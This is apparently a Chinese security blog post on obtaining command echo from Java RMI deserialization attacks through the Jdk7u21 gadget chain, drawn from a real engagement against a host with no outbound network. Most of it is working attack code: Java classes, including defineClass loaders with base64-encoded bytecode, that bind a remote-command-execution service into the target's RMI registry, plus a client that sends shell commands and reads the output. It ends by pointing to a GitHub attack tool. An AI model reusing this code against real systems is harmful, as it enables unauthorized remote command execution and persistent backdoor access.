以前在打RMI反序列化的时候都是用的CC、CB利用链实现报错回显,很好使。
之前在做一次项目的时候发现了目标存在RMI反序列化漏洞,系统为Windows,无DNS不出网。
通过延时探测出只存在Jdk7u21利用链。
打目标时依然尝试使用老方法回显,Jdk7u21 + 报错回显,发现一直没回显。平时自己Jdk7u21利用链用得比较少,大概了解Jdk7u21最后的利用也是通过Templatesimpl#newTransformer方法实现代码执行,只能去看代码分析下失败的原因。
Jdk7u21利用链也是利用的AnnotationInvocationHandler动态代理,通过HashSet触发到代理handler的equal方法,最终到
sun.reflect.annotation.AnnotationInvocationHandler#equalsImpl
private Boolean equalsImpl(Object var1) { if (var1 == this) { return true; } else if (!this.type.isInstance(var1)) { return false; } else { Method[] var2 = this.getMemberMethods(); int var3 = var2.length; for(int var4 = 0; var4 < var3; ++var4) { Method var5 = var2[var4]; String var6 = var5.getName(); Object var7 = this.memberValues.get(var6); Object var8 = null; AnnotationInvocationHandler var9 = this.asOneOfUs(var1); if (var9 != null) { var8 = var9.memberValues.get(var6); } else { try { var8 = var5.invoke(var1); } catch (InvocationTargetException var11) { return false; } catch (IllegalAccessException var12) { throw new AssertionError(var12); } }
可以发现在在invoke反射调用templatesimpl#newTransformer方法时,捕获了异常。当捕获InvocationTargetException异常时返回了false,捕获IllegalAccessException异常时,继续向上抛了异常。
在反射过程中,反射所调用的方法中出现未被捕获的异常时,就会抛出InvocationTargetException异常,所以这里通过templatesimpl执行任意代码抛出任意异常(包括IllegalAccessException)回显,只能进入return false的分支,最终无法实现异常回显。
搞清楚了无法通过异常回显的原因后,接着就开始寻思其他的解决方案,首先能想到的就是参考weblogic的T3/IIOP回显,绑定一个服务到registry上。
在T3回显中,服务类实现了ClusterMasterRemote接口再绑定到registry,不过ClusterMasterRemote是Weblogic中自带的类不适用我们的场景。
这时候去得去jdk里找一个继承了java.rmi.Remote的接口,为了比较简单的传递命令和返回命令结果,参数类型和返回类型都为String方便一点。
翻了一会,只找到了一个符合要求的接口,sun.jvm.hotspot.debugger.remote.RemoteDebugger。
public interface RemoteDebugger extends Remote { ........... String consoleExecuteCommand(String var1) throws RemoteException; }
然后定义一个类实现这个接口,最后暴露实现类最后绑定到registry,本地直接绑定成功。
import com.sun.org.apache.xalan.internal.xsltc.DOM; import com.sun.org.apache.xalan.internal.xsltc.TransletException; import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator; import com.sun.org.apache.xml.internal.serializer.SerializationHandler; import sun.jvm.hotspot.debugger.MachineDescription; import sun.jvm.hotspot.debugger.ReadResult; import sun.jvm.hotspot.debugger.remote.RemoteDebugger; import java.io.IOException; import java.rmi.RemoteException; import java.rmi.registry.LocateRegistry; import java.rmi.registry.Registry; import java.rmi.server.UnicastRemoteObject; public class RMIBindService2 extends AbstractTranslet implements RemoteDebugger { public RMIBindService2() throws RemoteException { try { Registry registry = LocateRegistry.getRegistry("127.0.0.1", 1099); UnicastRemoteObject.exportObject(this, 0); registry.rebind("hhhh", this); }catch(Exception e){ e.printStackTrace(); } } @Override public void transform(DOM document, SerializationHandler[] handlers) throws TransletException { } @Override public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException { } @Override public String getOS() throws RemoteException { return null; } @Override public String getCPU() throws RemoteException { return null; } @Override public MachineDescription getMachineDescription() throws RemoteException { return null; } @Override public long lookupInProcess(String s, String s1) throws RemoteException { return 0; } @Override public ReadResult readBytesFromProcess(long l, long l1) throws RemoteException { return null; } @Override public boolean hasConsole() throws RemoteException { return false; } @Override public String getConsolePrompt() throws RemoteException { return null; } @Override public String consoleExecuteCommand(String command) throws RemoteException { boolean isLinux = true; String osTyp = System.getProperty("os.name"); if (osTyp != null && osTyp.toLowerCase().contains("win")) { isLinux = false; } String[] cmds = isLinux ? new String[]{"sh", "-c", command} : new String[]{"cmd.exe", "/c", command}; java.io.InputStream in = null; try { in = Runtime.getRuntime().exec(cmds).getInputStream(); } catch (IOException e) { e.printStackTrace(); } java.util.Scanner s = new java.util.Scanner(in).useDelimiter("\\a"); String output = s.next(); return output; } @Override public long getJBooleanSize() throws RemoteException { return 0; } @Override public long getJByteSize() throws RemoteException { return 0; } @Override public long getJCharSize() throws RemoteException { return 0; } @Override public long getJDoubleSize() throws RemoteException { return 0; } @Override public long getJFloatSize() throws RemoteException { return 0; } @Override public long getJIntSize() throws RemoteException { return 0; } @Override public long getJLongSize() throws RemoteException { return 0; } @Override public long getJShortSize() throws RemoteException { return 0; } @Override public long getHeapOopSize() throws RemoteException { return 0; } @Override public long getNarrowOopBase() throws RemoteException { return 0; } @Override public int getNarrowOopShift() throws RemoteException { return 0; } @Override public long getKlassPtrSize() throws RemoteException { return 0; } @Override public long getNarrowKlassBase() throws RemoteException { return 0; } @Override public int getNarrowKlassShift() throws RemoteException { return 0; } @Override public boolean areThreadsEqual(long l, boolean b, long l1, boolean b1) throws RemoteException { return false; } @Override public int getThreadHashCode(long l, boolean b) throws RemoteException { return 0; } @Override public long[] getThreadIntegerRegisterSet(long l, boolean b) throws RemoteException { return new long[0]; } }
但是在打目标时却失败了,隐约能感觉出是因为目标环境中RemoteDebugger的问题。
try { Class.forName("sun.jvm.hotspot.debugger.remote.RemoteDebugger"); } catch (ClassNotFoundException e) { Thread.currentThread().sleep(10000L); }
用sleep验证了下,发现目标RemoteDebuggerg还真有问题。
为了解决这个问题,直接分别defineClass生成三个类,继承Remote的接口、实现类、触发绑定registry方法的类,用这方法打目标倒是成功了。
import com.sun.org.apache.xalan.internal.xsltc.DOM; import com.sun.org.apache.xalan.internal.xsltc.TransletException; import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import com.sun.org.apache.xerces.internal.impl.dv.util.Base64; import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator; import com.sun.org.apache.xml.internal.serializer.SerializationHandler; import java.lang.reflect.Constructor; import java.lang.reflect.Method; public class RMIBind extends AbstractTranslet { public RMIBind() throws Exception { ClassLoader cl = Thread.currentThread().getContextClassLoader(); Method method = ClassLoader.class.getDeclaredMethod("defineClass", new Class[] { byte[].class, int.class, int.class }); method.setAccessible(true); byte[] bytesImpl = Base64.decode("yv66vgAAADEADgcACgcACwcADAEABGV4ZWMBACYoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nOwEACkV4Y2VwdGlvbnMHAA0BAApTb3VyY2VGaWxlAQAXdHJpZ2dlckJpbmRFeGVjT2JqLmphdmEBAAxCaW5kRXhlY0ltcGwBABBqYXZhL2xhbmcvT2JqZWN0AQAPamF2YS9ybWkvUmVtb3RlAQATamF2YS9pby9JT0V4Y2VwdGlvbgYAAAEAAgABAAMAAAABBAEABAAFAAEABgAAAAQAAQAHAAEACAAAAAIACQ=="); byte[] bytesService = Base64.decode("yv66vgAAADEAUAoAFQAjCAAkCgAlACYKAAcAJwgAKAoABwApBwAqCAArCAAsCAAtCAAuCgAvADAKAC8AMQoAMgAzBwA0CgAPADUIADYKAA8ANwoADwA4BwA5BwA6BwA7BwA8BwA9AQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEABGV4ZWMBACYoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nOwEACkV4Y2VwdGlvbnMHAD4BAApTb3VyY2VGaWxlAQAXdHJpZ2dlckJpbmRFeGVjT2JqLmphdmEMABkAGgEAB29zLm5hbWUHAD8MAEAAHgwAQQBCAQADd2luDABDAEQBABBqYXZhL2xhbmcvU3RyaW5nAQACc2gBAAItYwEAB2NtZC5leGUBAAIvYwcARQwARgBHDAAdAEgHAEkMAEoASwEAEWphdmEvdXRpbC9TY2FubmVyDAAZAEwBAAJcYQwATQBODABPAEIBAAtCaW5kRXhlY09iagEAEGphdmEvbGFuZy9PYmplY3QBAA9qYXZhL3JtaS9SZW1vdGUBABRqYXZhL2lvL1NlcmlhbGl6YWJsZQEADEJpbmRFeGVjSW1wbAEAE2phdmEvaW8vSU9FeGNlcHRpb24BABBqYXZhL2xhbmcvU3lzdGVtAQALZ2V0UHJvcGVydHkBAAt0b0xvd2VyQ2FzZQEAFCgpTGphdmEvbGFuZy9TdHJpbmc7AQAIY29udGFpbnMBABsoTGphdmEvbGFuZy9DaGFyU2VxdWVuY2U7KVoBABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBACgoW0xqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7AQARamF2YS9sYW5nL1Byb2Nlc3MBAA5nZXRJbnB1dFN0cmVhbQEAFygpTGphdmEvaW8vSW5wdXRTdHJlYW07AQAYKExqYXZhL2lvL0lucHV0U3RyZWFtOylWAQAMdXNlRGVsaW1pdGVyAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS91dGlsL1NjYW5uZXI7AQAEbmV4dAAgABQAFQADABYAFwAYAAAAAgAAABkAGgABABsAAAAdAAEAAQAAAAUqtwABsQAAAAEAHAAAAAYAAQAAAA0AAQAdAB4AAgAbAAAApgAEAAgAAABuBD0SArgAA04txgARLbYABBIFtgAGmQAFAz0cmQAYBr0AB1kDEghTWQQSCVNZBStTpwAVBr0AB1kDEgpTWQQSC1NZBStTOgS4AAwZBLYADbYADjoFuwAPWRkFtwAQEhG2ABI6BhkGtgATOgcZB7AAAAABABwAAAAmAAkAAAAQAAIAEQAIABIAGAATABoAFgBHABcAVAAYAGQAGQBrABoAHwAAAAQAAQAgAAEAIQAAAAIAIg=="); byte[] bytesTrigger = Base64.decode("yv66vgAAADEAKAoACgASCAATCgAUABUHABYKAAQAEgoAFwAYCwAZABoHABsHABwHAB0BAAY8aW5pdD4BABYoTGphdmEvbGFuZy9TdHJpbmc7SSlWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEACkV4Y2VwdGlvbnMBAApTb3VyY2VGaWxlAQAXdHJpZ2dlckJpbmRFeGVjT2JqLmphdmEMAAsAHgEACTEyNy4wLjAuMQcAHwwAIAAhAQALQmluZEV4ZWNPYmoHACIMACMAJAcAJQwAJgAnAQATamF2YS9sYW5nL0V4Y2VwdGlvbgEAEnRyaWdnZXJCaW5kRXhlY09iagEAEGphdmEvbGFuZy9PYmplY3QBAAMoKVYBACBqYXZhL3JtaS9yZWdpc3RyeS9Mb2NhdGVSZWdpc3RyeQEAC2dldFJlZ2lzdHJ5AQAxKExqYXZhL2xhbmcvU3RyaW5nO0kpTGphdmEvcm1pL3JlZ2lzdHJ5L1JlZ2lzdHJ5OwEAI2phdmEvcm1pL3NlcnZlci9VbmljYXN0UmVtb3RlT2JqZWN0AQAMZXhwb3J0T2JqZWN0AQAlKExqYXZhL3JtaS9SZW1vdGU7SSlMamF2YS9ybWkvUmVtb3RlOwEAGmphdmEvcm1pL3JlZ2lzdHJ5L1JlZ2lzdHJ5AQAGcmViaW5kAQAmKExqYXZhL2xhbmcvU3RyaW5nO0xqYXZhL3JtaS9SZW1vdGU7KVYAIQAJAAoAAAAAAAEAAQALAAwAAgANAAAAZgADAAYAAAAqKrcAARICHLgAA067AARZtwAFOgQZBAO4AAZXLSsZBLkABwMApwAFOgWxAAEAGwAkACcACAABAA4AAAAiAAgAAAAgAAQAIgALACMAFAAkABsAJgAkACkAJwAnACkAKwAPAAAABAABAAgAAQAQAAAAAgAR"); Class cService = null; Class cImpl = null; Class cTrigger = null; try{ cImpl = cl.loadClass("BindExecImpl"); }catch(Exception e){ cImpl = (Class)method.invoke(cl, bytesImpl, 0, bytesImpl.length); } try{ cService = cl.loadClass("BindExecObj"); }catch(Exception e){ cService = (Class)method.invoke(cl, bytesService, 0, bytesService.length); } try{ cTrigger = cl.loadClass("triggerBindExecObj"); }catch(Exception e){ cTrigger = (Class)method.invoke(cl, bytesTrigger, 0, bytesTrigger.length); } try { Constructor ct = cTrigger.getDeclaredConstructor(new Class[]{String.class, int.class}); ct.newInstance(new Object[]{"scl1ent-scheduler-Administrator", 1099}); }catch(Exception e){ System.out.println(e); } } @Override public void transform(DOM document, SerializationHandler[] handlers) throws TransletException { } @Override public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException { } }
项目结束后,感觉这方法略微麻烦,得优化一下。
RemoteDebugger来源于JAVA_HOME/lib/sa-jdi.jar,
本地idea运行的时候自动把JAVA_HOME/lib下的所有jar包加入到了classpath中,然而在默认的配置中sa-jdi不会在classpath中,也不会被JVM默认加载,导致了目标无法使用。
那么只要从rt.jar里找一个其他的接口就能解决这个问题了,双String只找到了RemoteDebugger,那么就降低标准,现在只要找到其中一个是String的就行。
package javax.management.remote.rmi; public interface RMIConnection extends Closeable, Remote { ..................................... public String getDefaultDomain(Subject delegationSubject) throws IOException; ..................................... }
getDefaultDomain方法参数类型不是String,返回类型是String。
参数类型是javax.security.auth.Subject类,只要Subject类中存在一个String类型的属性用它来传递命令即可。
Set<Principal> principals; transient Set<Object> pubCredentials; transient Set<Object> privCredentials;
虽然不存在直接的String属性,不过也影响不大。pubCredentials、privCredentials属性被transient关键字修饰,无法被序列化,那么只能用principals属性。
principals属性是Principal接口对象的集合,
package com.sun.security.auth; public class UnixPrincipal implements Principal, java.io.Serializable { private static final long serialVersionUID = -2951667807323493631L; /** * @serial */ private String name; public UnixPrincipal(String name) { if (name == null) { java.text.MessageFormat form = new java.text.MessageFormat (sun.security.util.ResourcesMgr.getString ("invalid.null.input.value", "sun.security.util.AuthResources")); Object[] source = {"name"}; throw new NullPointerException(form.format(source)); } this.name = name; } }
UnixPrincipal实现了Principal接口,并且存在String属性name,直接通过构造方法设置即可。
最后利用
import com.sun.org.apache.xalan.internal.xsltc.DOM; import com.sun.org.apache.xalan.internal.xsltc.TransletException; import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator; import com.sun.org.apache.xml.internal.serializer.SerializationHandler; import javax.management.*; import javax.management.remote.NotificationResult; import javax.management.remote.rmi.RMIConnection; import javax.security.auth.Subject; import java.io.IOException; import java.rmi.MarshalledObject; import java.rmi.RemoteException; import java.rmi.registry.LocateRegistry; import java.rmi.registry.Registry; import java.rmi.server.UnicastRemoteObject; import java.security.Principal; import java.util.Set; public class RMIBindService extends AbstractTranslet implements RMIConnection { public RMIBindService() throws RemoteException { try { Registry registry = LocateRegistry.getRegistry("127.0.0.1", 1099); UnicastRemoteObject.exportObject(this, 0); registry.rebind("MonitorService", this); }catch(Exception e){ e.printStackTrace(); } } @Override public void transform(DOM document, SerializationHandler[] handlers) throws TransletException { } @Override public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException { } @Override public String getConnectionId() throws IOException { return null; } @Override public void close() throws IOException { } @Override public ObjectInstance createMBean(String className, ObjectName name, Subject delegationSubject) throws ReflectionException, InstanceAlreadyExistsException, MBeanRegistrationException, MBeanException, NotCompliantMBeanException, IOException { return null; } @Override public ObjectInstance createMBean(String className, ObjectName name, ObjectName loaderName, Subject delegationSubject) throws ReflectionException, InstanceAlreadyExistsException, MBeanRegistrationException, MBeanException, NotCompliantMBeanException, InstanceNotFoundException, IOException { return null; } @Override public ObjectInstance createMBean(String className, ObjectName name, MarshalledObject params, String[] signature, Subject delegationSubject) throws ReflectionException, InstanceAlreadyExistsException, MBeanRegistrationException, MBeanException, NotCompliantMBeanException, IOException { return null; } @Override public ObjectInstance createMBean(String className, ObjectName name, ObjectName loaderName, MarshalledObject params, String[] signature, Subject delegationSubject) throws ReflectionException, InstanceAlreadyExistsException, MBeanRegistrationException, MBeanException, NotCompliantMBeanException, InstanceNotFoundException, IOException { return null; } @Override public void unregisterMBean(ObjectName name, Subject delegationSubject) throws InstanceNotFoundException, MBeanRegistrationException, IOException { } @Override public ObjectInstance getObjectInstance(ObjectName name, Subject delegationSubject) throws InstanceNotFoundException, IOException { return null; } @Override public Set<ObjectInstance> queryMBeans(ObjectName name, MarshalledObject query, Subject delegationSubject) throws IOException { return null; } @Override public Set<ObjectName> queryNames(ObjectName name, MarshalledObject query, Subject delegationSubject) throws IOException { return null; } @Override public boolean isRegistered(ObjectName name, Subject delegationSubject) throws IOException { return false; } @Override public Integer getMBeanCount(Subject delegationSubject) throws IOException { return null; } @Override public Object getAttribute(ObjectName name, String attribute, Subject delegationSubject) throws MBeanException, AttributeNotFoundException, InstanceNotFoundException, ReflectionException, IOException { return null; } @Override public AttributeList getAttributes(ObjectName name, String[] attributes, Subject delegationSubject) throws InstanceNotFoundException, ReflectionException, IOException { return null; } @Override public void setAttribute(ObjectName name, MarshalledObject attribute, Subject delegationSubject) throws InstanceNotFoundException, AttributeNotFoundException, InvalidAttributeValueException, MBeanException, ReflectionException, IOException { } @Override public AttributeList setAttributes(ObjectName name, MarshalledObject attributes, Subject delegationSubject) throws InstanceNotFoundException, ReflectionException, IOException { return null; } @Override public Object invoke(ObjectName name, String operationName, MarshalledObject params, String[] signature, Subject delegationSubject) throws InstanceNotFoundException, MBeanException, ReflectionException, IOException { return null; } @Override public String getDefaultDomain(Subject delegationSubject) throws IOException { Set<Principal> p = delegationSubject.getPrincipals(); String command = p.iterator().next().getName(); boolean isLinux = true; String osTyp = System.getProperty("os.name"); if (osTyp != null && osTyp.toLowerCase().contains("win")) { isLinux = false; } String[] cmds = isLinux ? new String[]{"sh", "-c", command} : new String[]{"cmd.exe", "/c", command}; java.io.InputStream in = Runtime.getRuntime().exec(cmds).getInputStream(); java.util.Scanner s = new java.util.Scanner(in).useDelimiter("\\a"); String output = s.next(); return output; } @Override public String[] getDomains(Subject delegationSubject) throws IOException { return new String[0]; } @Override public MBeanInfo getMBeanInfo(ObjectName name, Subject delegationSubject) throws InstanceNotFoundException, IntrospectionException, ReflectionException, IOException { return null; } @Override public boolean isInstanceOf(ObjectName name, String className, Subject delegationSubject) throws InstanceNotFoundException, IOException { return false; } @Override public void addNotificationListener(ObjectName name, ObjectName listener, MarshalledObject filter, MarshalledObject handback, Subject delegationSubject) throws InstanceNotFoundException, IOException { } @Override public void removeNotificationListener(ObjectName name, ObjectName listener, Subject delegationSubject) throws InstanceNotFoundException, ListenerNotFoundException, IOException { } @Override public void removeNotificationListener(ObjectName name, ObjectName listener, MarshalledObject filter, MarshalledObject handback, Subject delegationSubject) throws InstanceNotFoundException, ListenerNotFoundException, IOException { } @Override public Integer[] addNotificationListeners(ObjectName[] names, MarshalledObject[] filters, Subject[] delegationSubjects) throws InstanceNotFoundException, IOException { return new Integer[0]; } @Override public void removeNotificationListeners(ObjectName name, Integer[] listenerIDs, Subject delegationSubject) throws InstanceNotFoundException, ListenerNotFoundException, IOException { } @Override public NotificationResult fetchNotifications(long clientSequenceNumber, int maxNotifications, long timeout) throws IOException { return null; } }
通过Jdk7u21利用链执行以上代码,当然所有能够执行代码的Gadget都能通过这种方式回显。
Registry registry = LocateRegistry.getRegistry("127.0.0.1", 1099); UnicastRemoteObject.exportObject(this, 0);
这里需要注意一下,ip填写127.0.0.1不填写公网ip。
registry限制只能localhost bind,这里相当于在目标机器执行代码往它自己registry中绑定,1099就填写正确的rmi registry端口即可。
使用exportObject暴露服务时,如果目标不存在安全组等其他策略填0即可,为0时会在一个随机端口暴露。如果存在安全策略,那么可以尝试绑定到80,443等常见端口上,能够访问的几率更大一点。
最后调用远程方法实现回显。
import com.sun.security.auth.LdapPrincipal; import com.sun.security.auth.UnixPrincipal; import sun.jvm.hotspot.debugger.remote.RemoteDebugger; import javax.management.remote.rmi.RMIConnection; import javax.security.auth.Subject; import java.lang.reflect.Field; import java.rmi.registry.LocateRegistry; import java.rmi.registry.Registry; import java.util.HashSet; import java.util.Set; public class RMIClient { public static void main(String[] args) throws Exception { String command = "id"; Registry registry = LocateRegistry.getRegistry("ip",port); // for(String x:registry.list()){ // System.out.println(x); // } Subject subject = new Subject(); Field f = subject.getClass().getDeclaredField("principals"); f.setAccessible(true); Set set = new HashSet(); UnixPrincipal unixPrincipal = new UnixPrincipal(command); set.add(unixPrincipal); f.set(subject, set); System.out.println(((RMIConnection)registry.lookup("MonitorService")).getDefaultDomain(subject)); } }
GitHub - A-D-Team/attackRmi
利用lookup registry触发的反序列,比起bind能多打一些版本,无需出网无需落地文件。
目前只支持了CommonsCollections、CommonsBeanutils、Jdk7u21利用链,后续再更新利用链和看看是否要支持绕JEP290的那些方法。
众所周知,RMI服务客户端服务端可以双向攻击,为了解决这个问题,工具里没有依赖CommonsCollections、CommoneBeanutils包,把一些核心类给抽取了出来并且改了一些反序列化所需要的方法。